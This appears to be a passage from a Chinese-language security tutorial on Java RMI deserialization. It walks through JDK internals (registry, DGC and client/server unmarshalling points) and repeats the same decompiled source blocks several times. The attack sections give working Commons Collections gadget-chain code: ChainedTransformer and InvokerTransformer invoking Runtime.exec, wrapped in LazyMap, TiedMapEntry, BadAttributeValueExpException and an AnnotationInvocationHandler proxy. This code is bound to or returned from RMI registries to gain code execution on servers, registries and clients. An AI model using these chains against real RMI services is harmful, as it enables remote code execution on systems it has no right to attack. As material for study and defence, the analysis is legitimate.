1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 public  void  dispatch (Remote var1, RemoteCall var2, int  var3, long  var4)  throws  Exception {    if  (var4 != -669196253586618813L ) {         throw  new  SkeletonMismatchException ("interface hash mismatch" );     } else  {         DGCImpl  var6  =  (DGCImpl)var1;         ObjID[] var7;         long  var8;         switch  (var3) {             case  0 :                 VMID var39;                 boolean  var40;                 try  {                     ObjectInput  var14  =  var2.getInputStream();                     var7 = (ObjID[])var14.readObject();                     var8 = var14.readLong();                     var39 = (VMID)var14.readObject();                     var40 = var14.readBoolean();                 } catch  (IOException var36) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var36);                 } catch  (ClassNotFoundException var37) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var37);                 } finally  {                     var2.releaseInputStream();                 }                 var6.clean(var7, var8, var39, var40);                 try  {                     var2.getResultStream(true );                     break ;                 } catch  (IOException var35) {                     throw  new  MarshalException ("error marshalling return" , var35);                 }             case  1 :                 Lease var10;                 try  {                     ObjectInput  var13  =  var2.getInputStream();                     var7 = (ObjID[])var13.readObject();                     var8 = var13.readLong();                     var10 = (Lease)var13.readObject();                 } catch  (IOException var32) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var32);                 } catch  (ClassNotFoundException var33) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var33);                 } finally  {                     var2.releaseInputStream();                 }                 Lease  var11  =  var6.dirty(var7, var8, var10);                 try  {                     ObjectOutput  var12  =  var2.getResultStream(true );                     var12.writeObject(var11);                     break ;                 } catch  (IOException var31) {                     throw  new  MarshalException ("error marshalling return" , var31);                 }             default :                 throw  new  UnmarshalException ("invalid method number" );         }     } } 
 
也有DGCImpl_Stub对象,它们的调用方法和RegistryImpl的对应相同,这里也调用了invoke方法,基本所有的客户端处理网络请求都调用了,所以这里也有一个利用点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public  void  clean (ObjID[] var1, long  var2, VMID var4, boolean  var5)  throws  RemoteException {    try  {         RemoteCall  var6  =  super .ref.newCall(this , operations, 0 , -669196253586618813L );         try  {             ObjectOutput  var7  =  var6.getOutputStream();             var7.writeObject(var1);             var7.writeLong(var2);             var7.writeObject(var4);             var7.writeBoolean(var5);         } catch  (IOException var8) {             throw  new  MarshalException ("error marshalling arguments" , var8);         }         super .ref.invoke(var6);         super .ref.done(var6);     } catch  (RuntimeException var9) {         throw  var9;     } catch  (RemoteException var10) {         throw  var10;     } catch  (Exception var11) {         throw  new  UnexpectedException ("undeclared checked exception" , var11);     } } public  Lease dirty (ObjID[] var1, long  var2, Lease var4)  throws  RemoteException {    try  {         RemoteCall  var5  =  super .ref.newCall(this , operations, 1 , -669196253586618813L );         try  {             ObjectOutput  var6  =  var5.getOutputStream();             var6.writeObject(var1);             var6.writeLong(var2);             var6.writeObject(var4);         } catch  (IOException var20) {             throw  new  MarshalException ("error marshalling arguments" , var20);         }         super .ref.invoke(var5);         Lease var24;         try  {             ObjectInput  var9  =  var5.getInputStream();             var24 = (Lease)var9.readObject();         } catch  (IOException var17) {             throw  new  UnmarshalException ("error unmarshalling return" , var17);         } catch  (ClassNotFoundException var18) {             throw  new  UnmarshalException ("error unmarshalling return" , var18);         } finally  {             super .ref.done(var5);         }         return  var24;     } catch  (RuntimeException var21) {         throw  var21;     } catch  (RemoteException var22) {         throw  var22;     } catch  (Exception var23) {         throw  new  UnexpectedException ("undeclared checked exception" , var23);     } } 
 
反序列化 客户端可能被反序列化的地方
在客户端远程连接服务器中它会出现两个调用readObject的地方,这里就可能会出现反序列化漏洞
首先是在StreamRemoteCall的executeCall方法里面会出现,这里会在invoke方法里面被调用,在处理远程连接时基本上都会调用这里方法,这里的后半段的switch里面当出现一个异常时就会进入其中调用readObject方法,这里其实是为了将异常的部分进行反序列化读取,但是如果服务器端传输了恶意代码就可能会导致用户端触发反序列化漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public  void  executeCall ()  throws  Exception {    switch  (returnType) {     case  TransportConstants.NormalReturn:         break ;     case  TransportConstants.ExceptionalReturn:         Object ex;         try  {             ex = in.readObject();         } catch  (Exception e) {             throw  new  UnmarshalException ("Error unmarshaling return" , e);         }                           if  (ex instanceof  Exception) {             exceptionReceivedFromServer((Exception) ex);         } else  {             throw  new  UnmarshalException ("Return type not Exception" );         }              default :         if  (Transport.transportLog.isLoggable(Log.BRIEF)) {             Transport.transportLog.log(Log.BRIEF,                 "return code invalid: "  + returnType);         }         throw  new  UnmarshalException ("Return code invalid" );     } } 
 
当客户端获取代理对象stub时是通过反序列化获取,这里就也会调用readObject方法
在调用RegistryImpl_Stub的lookup的方法里面就会触发
1 2 ObjectInput  var6  =  var2.getInputStream();var23 = (Remote)var6.readObject(); 
 
下面就是在客户端远程调用服务端方法时也有触发序列化,也会调用executeCall方法
在对于获取函数的返回值也是通过反序列化的,在UnicastRef的unmarshalValue方法里面来获取远程执行的结果,这里也是调用了readObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 protected  static  Object unmarshalValue (Class<?> type, ObjectInput in)     throws  IOException, ClassNotFoundException {     if  (type.isPrimitive()) {         if  (type == int .class) {             return  Integer.valueOf(in.readInt());         } else  if  (type == boolean .class) {             return  Boolean.valueOf(in.readBoolean());         } else  if  (type == byte .class) {             return  Byte.valueOf(in.readByte());         } else  if  (type == char .class) {             return  Character.valueOf(in.readChar());         } else  if  (type == short .class) {             return  Short.valueOf(in.readShort());         } else  if  (type == long .class) {             return  Long.valueOf(in.readLong());         } else  if  (type == float .class) {             return  Float.valueOf(in.readFloat());         } else  if  (type == double .class) {             return  Double.valueOf(in.readDouble());         } else  {             throw  new  Error ("Unrecognized primitive type: "  + type);         }     } else  {         return  in.readObject();     } } 
 
注册中心的反序列化点
在RegistryImpl_Skel的dispatch就利用了反序列化来获取客户端插入的lookup的值不管是客户端通过bind lookup或者rebind,注册中心接收的参数都是通过反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 public  void  dispatch (Remote var1, RemoteCall var2, int  var3, long  var4)  throws  Exception {    if  (var4 != 4905912898345647071L ) {         throw  new  SkeletonMismatchException ("interface hash mismatch" );     } else  {         RegistryImpl  var6  =  (RegistryImpl)var1;         String var7;         Remote var8;         ObjectInput var10;         ObjectInput var11;         switch  (var3) {             case  0 :                 try  {                     var11 = var2.getInputStream();                     var7 = (String)var11.readObject();                     var8 = (Remote)var11.readObject();                 } catch  (IOException var94) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var94);                 } catch  (ClassNotFoundException var95) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var95);                 } finally  {                     var2.releaseInputStream();                 }                 var6.bind(var7, var8);                 try  {                     var2.getResultStream(true );                     break ;                 } catch  (IOException var93) {                     throw  new  MarshalException ("error marshalling return" , var93);                 }             case  1 :                 var2.releaseInputStream();                 String[] var97 = var6.list();                 try  {                     ObjectOutput  var98  =  var2.getResultStream(true );                     var98.writeObject(var97);                     break ;                 } catch  (IOException var92) {                     throw  new  MarshalException ("error marshalling return" , var92);                 }             case  2 :                 try  {                     var10 = var2.getInputStream();                     var7 = (String)var10.readObject();                 } catch  (IOException var89) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var89);                 } catch  (ClassNotFoundException var90) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var90);                 } finally  {                     var2.releaseInputStream();                 }                 var8 = var6.lookup(var7);                 try  {                     ObjectOutput  var9  =  var2.getResultStream(true );                     var9.writeObject(var8);                     break ;                 } catch  (IOException var88) {                     throw  new  MarshalException ("error marshalling return" , var88);                 }             case  3 :                 try  {                     var11 = var2.getInputStream();                     var7 = (String)var11.readObject();                     var8 = (Remote)var11.readObject();                 } catch  (IOException var85) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var85);                 } catch  (ClassNotFoundException var86) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var86);                 } finally  {                     var2.releaseInputStream();                 }                 var6.rebind(var7, var8);                 try  {                     var2.getResultStream(true );                     break ;                 } catch  (IOException var84) {                     throw  new  MarshalException ("error marshalling return" , var84);                 }             case  4 :                 try  {                     var10 = var2.getInputStream();                     var7 = (String)var10.readObject();                 } catch  (IOException var81) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var81);                 } catch  (ClassNotFoundException var82) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var82);                 } finally  {                     var2.releaseInputStream();                 }                 var6.unbind(var7);                 try  {                     var2.getResultStream(true );                     break ;                 } catch  (IOException var80) {                     throw  new  MarshalException ("error marshalling return" , var80);                 }             default :                 throw  new  UnmarshalException ("invalid method number" );         }     } 
 
服务端的反序列化点
这里是在对于客户端远程调用服务端的函数时,提交参数的方法是通过序列化进行传输,所以在服务端就是通过unmarshalValue来读取反序列后的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 protected  static  Object unmarshalValue (Class<?> type, ObjectInput in)     throws  IOException, ClassNotFoundException {     if  (type.isPrimitive()) {         if  (type == int .class) {             return  Integer.valueOf(in.readInt());         } else  if  (type == boolean .class) {             return  Boolean.valueOf(in.readBoolean());         } else  if  (type == byte .class) {             return  Byte.valueOf(in.readByte());         } else  if  (type == char .class) {             return  Character.valueOf(in.readChar());         } else  if  (type == short .class) {             return  Short.valueOf(in.readShort());         } else  if  (type == long .class) {             return  Long.valueOf(in.readLong());         } else  if  (type == float .class) {             return  Float.valueOf(in.readFloat());         } else  if  (type == double .class) {             return  Double.valueOf(in.readDouble());         } else  {             throw  new  Error ("Unrecognized primitive type: "  + type);         }     } else  {         return  in.readObject();     } } 
 
在创建远程服务中系统会默认创建一个DGC,这个的主要功能就是回收机制,但是它的里面就存在和注册中心一样的问题,这里是系统自己创建的回收机制,所以也会存在对应的风险
首先是服务端的回收,里面会创建一个DGCImpl_Skel对象,在调用dispatch方法时就存在反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 public  void  dispatch (Remote var1, RemoteCall var2, int  var3, long  var4)  throws  Exception {    if  (var4 != -669196253586618813L ) {         throw  new  SkeletonMismatchException ("interface hash mismatch" );     } else  {         DGCImpl  var6  =  (DGCImpl)var1;         ObjID[] var7;         long  var8;         switch  (var3) {             case  0 :                 VMID var39;                 boolean  var40;                 try  {                     ObjectInput  var14  =  var2.getInputStream();                     var7 = (ObjID[])var14.readObject();                     var8 = var14.readLong();                     var39 = (VMID)var14.readObject();                     var40 = var14.readBoolean();                 } catch  (IOException var36) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var36);                 } catch  (ClassNotFoundException var37) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var37);                 } finally  {                     var2.releaseInputStream();                 }                 var6.clean(var7, var8, var39, var40);                 try  {                     var2.getResultStream(true );                     break ;                 } catch  (IOException var35) {                     throw  new  MarshalException ("error marshalling return" , var35);                 }             case  1 :                 Lease var10;                 try  {                     ObjectInput  var13  =  var2.getInputStream();                     var7 = (ObjID[])var13.readObject();                     var8 = var13.readLong();                     var10 = (Lease)var13.readObject();                 } catch  (IOException var32) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var32);                 } catch  (ClassNotFoundException var33) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var33);                 } finally  {                     var2.releaseInputStream();                 }                 Lease  var11  =  var6.dirty(var7, var8, var10);                 try  {                     ObjectOutput  var12  =  var2.getResultStream(true );                     var12.writeObject(var11);                     break ;                 } catch  (IOException var31) {                     throw  new  MarshalException ("error marshalling return" , var31);                 }             default :                 throw  new  UnmarshalException ("invalid method number" );         }     } } 
 
客户端也是一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public  void  clean (ObjID[] var1, long  var2, VMID var4, boolean  var5)  throws  RemoteException {    try  {         RemoteCall  var6  =  super .ref.newCall(this , operations, 0 , -669196253586618813L );         try  {             ObjectOutput  var7  =  var6.getOutputStream();             var7.writeObject(var1);             var7.writeLong(var2);             var7.writeObject(var4);             var7.writeBoolean(var5);         } catch  (IOException var8) {             throw  new  MarshalException ("error marshalling arguments" , var8);         }         super .ref.invoke(var6);         super .ref.done(var6);     } catch  (RuntimeException var9) {         throw  var9;     } catch  (RemoteException var10) {         throw  var10;     } catch  (Exception var11) {         throw  new  UnexpectedException ("undeclared checked exception" , var11);     } } public  Lease dirty (ObjID[] var1, long  var2, Lease var4)  throws  RemoteException {    try  {         RemoteCall  var5  =  super .ref.newCall(this , operations, 1 , -669196253586618813L );         try  {             ObjectOutput  var6  =  var5.getOutputStream();             var6.writeObject(var1);             var6.writeLong(var2);             var6.writeObject(var4);         } catch  (IOException var20) {             throw  new  MarshalException ("error marshalling arguments" , var20);         }         super .ref.invoke(var5);         Lease var24;         try  {             ObjectInput  var9  =  var5.getInputStream();             var24 = (Lease)var9.readObject();         } catch  (IOException var17) {             throw  new  UnmarshalException ("error unmarshalling return" , var17);         } catch  (ClassNotFoundException var18) {             throw  new  UnmarshalException ("error unmarshalling return" , var18);         } finally  {             super .ref.done(var5);         }         return  var24;     } catch  (RuntimeException var21) {         throw  var21;     } catch  (RemoteException var22) {         throw  var22;     } catch  (Exception var23) {         throw  new  UnexpectedException ("undeclared checked exception" , var23);     } } 
 
攻击服务端的反序列化 首先需要在服务端出现对应的cc与或者cb依赖,这里就以cc3依赖来进行攻击
恶意参数上传 这里在上面就提到,在客户端调用服务端的方法时,如果方法里面有参数,服务端会通过unmarshalValue反序列化客户端的上传参数,如果我们的参数是一个恶意的对象就可以实现攻击,首先就先定义一个接收Object对象的类
下面就是创建一个危险类来作为参数传递
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.keyvalue.TiedMapEntry;import  org.apache.commons.collections.map.LazyMap;import  java.lang.reflect.Field;import  java.util.HashMap;import  java.util.Map;public  class  Eval  {    static  Object geteval ()  throws  Exception{         Transformer[] transformers=new  Transformer []{                 new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" ,new  Class []{String.class,Class[].class},new  Object []{"getRuntime" ,null }),                 new  InvokerTransformer ("invoke" ,new  Class []{Object.class,Object[].class},new  Object []{null ,null }),                 new  InvokerTransformer ("exec" ,new  Class []{String.class},new  Object []{"calc" })         };         ChainedTransformer  transform  =  new  ChainedTransformer (new  Transformer []{});         HashMap<Object,Object> map=new  HashMap <Object,Object>();         Map<Object,Object> q= LazyMap.decorate(map,transform);         TiedMapEntry tiedmapentry=new   TiedMapEntry (q,"111" );         HashMap<Object,Object> o = new  HashMap <>();         o.put(tiedmapentry,"aaa" );         Class c=transform.getClass();         Field  iTransformers  =  c.getDeclaredField("iTransformers" );         iTransformers.setAccessible(true );         iTransformers.set(transform,transformers);         q.remove("111" );         return  o;     } } 
 
这里也是成功的执行了,因为上面的执行的要求太高需要对应的方法的参数接收Object对象,如果不是可以吗? 如果直接传肯定是不可以的
下面就去找找看是否可以绕过这层关系,从而实现反序列化这里可以看到报错的信息为hash未被找到,这里其实就会去以前创建的hashtable里面进行寻找,如果没有找到就会先这样进行报错,这里可以通过debug模式将要发送到服务端的方法进行修改即可
在 RemoteObjectInvocationHandler 的invokeRemote方法处下断点,将 Method 改为服务端存在的RMIObject的getName
动态类加载 这里需要有三个前提
1.Server 端必须加载和配置好 SecurityManager
2.java.rmi.Sever.useCodebaseOnly必须开启 
3.版本必须是 6u45/7u21 之前
前面可以发现在UnicastServerRef的dispatch方法调用到UnicastRef的unmarshalValue进行 反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 protected  static  Object unmarshalValue (Class<?> type, ObjectInput in)     throws  IOException, ClassNotFoundException {     if  (type.isPrimitive()) {         if  (type == int .class) {             return  Integer.valueOf(in.readInt());         } else  if  (type == boolean .class) {             return  Boolean.valueOf(in.readBoolean());         } else  if  (type == byte .class) {             return  Byte.valueOf(in.readByte());         } else  if  (type == char .class) {             return  Character.valueOf(in.readChar());         } else  if  (type == short .class) {             return  Short.valueOf(in.readShort());         } else  if  (type == long .class) {             return  Long.valueOf(in.readLong());         } else  if  (type == float .class) {             return  Float.valueOf(in.readFloat());         } else  if  (type == double .class) {             return  Double.valueOf(in.readDouble());         } else  {             throw  new  Error ("Unrecognized primitive type: "  + type);         }     } else  {         return  in.readObject();     } } 
 
在反序列化的过程中,会调用到MarshalInputStream的resolveClass方法来解析Class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 protected  Class<?> resolveClass(ObjectStreamClass classDesc)    throws  IOException, ClassNotFoundException {     Object  annotation  =  readLocation();     String  className  =  classDesc.getName();     ClassLoader  defaultLoader  =          skipDefaultResolveClass ? null  : latestUserDefinedLoader();     String  codebase  =  null ;     if  (!useCodebaseOnly && annotation instanceof  String) {         codebase = (String) annotation;     }     try  {         return  RMIClassLoader.loadClass(codebase, className,                                         defaultLoader);     } catch  (AccessControlException e) {         return  checkSunClass(className, e);     } catch  (ClassNotFoundException e) {         try  {             if  (Character.isLowerCase(className.charAt(0 )) &&                 className.indexOf('.' ) == -1 )             {                 return  super .resolveClass(classDesc);             }         } catch  (ClassNotFoundException e2) {         }         throw  e;     } } 
 
这里会先调用readLocation获取到 Codebase 的地址,后面就会检测useCodebaseOnly是否开启,所以这里需要有一个服务器先开启此服务,下面就可以直接到RMIClassLoader的loadClass方法,一直调用到LoaderHandler的loadClass方法里面,这里主要调用了loadClassForName方法,下面跟进就可以看到类加载的函数Class.forName 
1 2 3 4 5 6 7 8 9 10 11 lass<?> c = loadClassForName(name, false , defaultLoader); private  static  Class<?> loadClassForName(String name,                                          boolean  initialize,                                           ClassLoader loader)         throws  ClassNotFoundException {     if  (loader == null ) {         ReflectUtil.checkPackageAccess(name);     }     return  Class.forName(name, initialize, loader); } 
 
攻击 Registry 端的反序列化 这里需要先找到Registry端的反序列化点,这里是可以分为客户端和服务端对其的攻击,但是主要分析服务端攻击注册中心
客户端 
在上面分析就知道,在客户端调用lookup方法时,会将我们传入的字符串进行反序列化,但是由于这里只能传入,我们传入一个恶意类来实现攻击
服务端 
这里可以在bind方法里面写入恶意类来实现代码执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34     public  static  void  main (String[] args)  throws  Exception {         LocateRegistry.createRegistry(1099 );         Class<?> c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor<?> constructor=c.getDeclaredConstructors()[0 ];         constructor.setAccessible(true );         HashMap<String,Object> map=new  HashMap <>();         map.put("a" ,geteval());         InvocationHandler invocationHandler=(InvocationHandler) constructor.newInstance(Target.class,map);         Remote remote= (Remote)  Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),                 new  Class []{Remote.class},invocationHandler);         Naming.bind("luokuang" ,remote);     }     public  static  Object geteval ()  throws   Exception{         Transformer[] transformers=new  Transformer []{                 new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" ,new  Class []{String.class,Class[].class},new  Object []{"getRuntime" ,null }),                 new  InvokerTransformer ("invoke" ,new  Class []{Object.class,Object[].class},new  Object []{null ,null }),                 new  InvokerTransformer ("exec" ,new  Class []{String.class},new  Object []{"calc" })         };         ChainedTransformer  transform  =  new  ChainedTransformer (transformers);         HashMap<Object,Object> map=new  HashMap <Object,Object>();         Map<Object,Object> q= LazyMap.decorate(map,transform);         TiedMapEntry  luokuang  =  new  TiedMapEntry (q, "luokuang" );         BadAttributeValueExpException  badAttributeValueExpException  =  new  BadAttributeValueExpException (null );         Class c=badAttributeValueExpException.getClass();         Field  val  =  c.getDeclaredField("val" );         val.setAccessible(true );         val.set(badAttributeValueExpException,luokuang);         return  badAttributeValueExpException;     } 
 
攻击客户端的反序列化 上面分析知道,在客户端处理所有的网络请求时都会调用executeCall方法,这里就可以利用这一点来通过服务端对客户端进行攻击,虽然大多的场景用不到,但是还是可以去了解一下
首先通过调用服务端恶意方法的返回一个恶意对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public  static  void  main (String[] args)  throws  Exception {        Class<?> c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor<?> constructor=c.getDeclaredConstructors()[0 ];         constructor.setAccessible(true );         HashMap<String,Object> map=new  HashMap <>();         map.put("a" ,geteval());         InvocationHandler invocationHandler=(InvocationHandler) constructor.newInstance(Target.class,map);         Remote remote= (Remote)  Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),                 new  Class []{Remote.class},invocationHandler);         Registry  registry  =  LocateRegistry.createRegistry(1088 );         RMIObject AAA=new  RMIObject ();         Naming.bind("rmi://localhost:1088/luokuang" , AAA);     }      public  Object getName (Object aaa)  throws  Exception {    Object aa=geteval();     return  aa; } public  static  Object geteval ()  throws   Exception{        Transformer[] transformers=new  Transformer []{                 new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" ,new  Class []{String.class,Class[].class},new  Object []{"getRuntime" ,null }),                 new  InvokerTransformer ("invoke" ,new  Class []{Object.class,Object[].class},new  Object []{null ,null }),                 new  InvokerTransformer ("exec" ,new  Class []{String.class},new  Object []{"calc" })         };         ChainedTransformer  transform  =  new  ChainedTransformer (transformers);         HashMap<Object,Object> map=new  HashMap <Object,Object>();         Map<Object,Object> q= LazyMap.decorate(map,transform);         TiedMapEntry  luokuang  =  new  TiedMapEntry (q, "luokuang" );         BadAttributeValueExpException  badAttributeValueExpException  =  new  BadAttributeValueExpException (null );         Class c=badAttributeValueExpException.getClass();         Field  val  =  c.getDeclaredField("val" );         val.setAccessible(true );         val.set(badAttributeValueExpException,luokuang);         return  badAttributeValueExpException;     } 
 
当对象调用该方法时就会触发反序列化攻击
或者直接通过bind一个恶意的远程对象,在客户端通过lookup来获取时进行反序列化从而触发反序列化攻击
DGC反序列化攻击 在创建远程服务中系统会默认创建一个DGC,这个的主要功能就是回收机制,但是它的里面就存在和注册中心一样的问题,这里是系统自己创建的回收机制,所以也会存在对应的风险
首先是服务端的回收,里面会创建一个DGCImpl_Skel对象,在调用dispatch方法时就存在反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 public  void  dispatch (Remote var1, RemoteCall var2, int  var3, long  var4)  throws  Exception {    if  (var4 != -669196253586618813L ) {         throw  new  SkeletonMismatchException ("interface hash mismatch" );     } else  {         DGCImpl  var6  =  (DGCImpl)var1;         ObjID[] var7;         long  var8;         switch  (var3) {             case  0 :                 VMID var39;                 boolean  var40;                 try  {                     ObjectInput  var14  =  var2.getInputStream();                     var7 = (ObjID[])var14.readObject();                     var8 = var14.readLong();                     var39 = (VMID)var14.readObject();                     var40 = var14.readBoolean();                 } catch  (IOException var36) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var36);                 } catch  (ClassNotFoundException var37) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var37);                 } finally  {                     var2.releaseInputStream();                 }                 var6.clean(var7, var8, var39, var40);                 try  {                     var2.getResultStream(true );                     break ;                 } catch  (IOException var35) {                     throw  new  MarshalException ("error marshalling return" , var35);                 }             case  1 :                 Lease var10;                 try  {                     ObjectInput  var13  =  var2.getInputStream();                     var7 = (ObjID[])var13.readObject();                     var8 = var13.readLong();                     var10 = (Lease)var13.readObject();                 } catch  (IOException var32) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var32);                 } catch  (ClassNotFoundException var33) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var33);                 } finally  {                     var2.releaseInputStream();                 }                 Lease  var11  =  var6.dirty(var7, var8, var10);                 try  {                     ObjectOutput  var12  =  var2.getResultStream(true );                     var12.writeObject(var11);                     break ;                 } catch  (IOException var31) {                     throw  new  MarshalException ("error marshalling return" , var31);                 }             default :                 throw  new  UnmarshalException ("invalid method number" );         }     } } 
 
客户端也是一样,在DGCImpl_Stub对象里面调用了两个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public  void  clean (ObjID[] var1, long  var2, VMID var4, boolean  var5)  throws  RemoteException {    try  {         RemoteCall  var6  =  super .ref.newCall(this , operations, 0 , -669196253586618813L );         try  {             ObjectOutput  var7  =  var6.getOutputStream();             var7.writeObject(var1);             var7.writeLong(var2);             var7.writeObject(var4);             var7.writeBoolean(var5);         } catch  (IOException var8) {             throw  new  MarshalException ("error marshalling arguments" , var8);         }         super .ref.invoke(var6);         super .ref.done(var6);     } catch  (RuntimeException var9) {         throw  var9;     } catch  (RemoteException var10) {         throw  var10;     } catch  (Exception var11) {         throw  new  UnexpectedException ("undeclared checked exception" , var11);     } } public  Lease dirty (ObjID[] var1, long  var2, Lease var4)  throws  RemoteException {    try  {         RemoteCall  var5  =  super .ref.newCall(this , operations, 1 , -669196253586618813L );         try  {             ObjectOutput  var6  =  var5.getOutputStream();             var6.writeObject(var1);             var6.writeLong(var2);             var6.writeObject(var4);         } catch  (IOException var20) {             throw  new  MarshalException ("error marshalling arguments" , var20);         }         super .ref.invoke(var5);         Lease var24;         try  {             ObjectInput  var9  =  var5.getInputStream();             var24 = (Lease)var9.readObject();         } catch  (IOException var17) {             throw  new  UnmarshalException ("error unmarshalling return" , var17);         } catch  (ClassNotFoundException var18) {             throw  new  UnmarshalException ("error unmarshalling return" , var18);         } finally  {             super .ref.done(var5);         }         return  var24;     } catch  (RuntimeException var21) {         throw  var21;     } catch  (RemoteException var22) {         throw  var22;     } catch  (Exception var23) {         throw  new  UnexpectedException ("undeclared checked exception" , var23);     } }